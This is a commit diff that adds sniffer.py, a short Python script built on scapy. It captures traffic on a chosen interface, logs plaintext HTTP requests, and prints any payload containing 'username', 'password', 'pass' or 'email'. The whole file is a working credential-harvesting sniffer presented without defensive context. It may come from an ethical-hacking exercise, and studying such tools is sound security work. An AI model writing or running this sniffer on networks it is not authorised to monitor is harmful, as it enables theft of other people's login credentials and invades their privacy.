Create sniffer.py

Author: networkdavit

sniffer.py

@@ -0,0 +1,35 @@
+import argparse
+from scapy.all import sniff, Raw
+from scapy.layers import http
+
+
+def get_interface() -> str:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("-i", "--interface", dest="interface",
+                        help="Specify interface on which to sniff packets")
+    args = parser.parse_args()
+    if not args.interface:
+        parser.error("Please specify an interface to sniff packets.")
+    return args.interface
+
+
+def process_packet(packet) -> None:
+    if packet.haslayer(http.HTTPRequest):
+        print(
+            f"[+] Http Request >> {packet[http.HTTPRequest].Host}{packet[http.HTTPRequest].Path}")
+        if packet.haslayer(Raw):
+            load = packet[Raw].load.decode(errors="ignore")
+            keys = ["username", "password", "pass", "email"]
+            for key in keys:
+                if key in load:
+                    print(f"\n\n\n[+] Possible {key} >> {load}\n\n\n")
+                    break
+
+
+def sniff_packets(interface: str) -> None:
+    sniff(iface=interface, store=False, prn=process_packet)
+
+
+if __name__ == '__main__':
+    iface = get_interface()
+    sniff_packets(iface)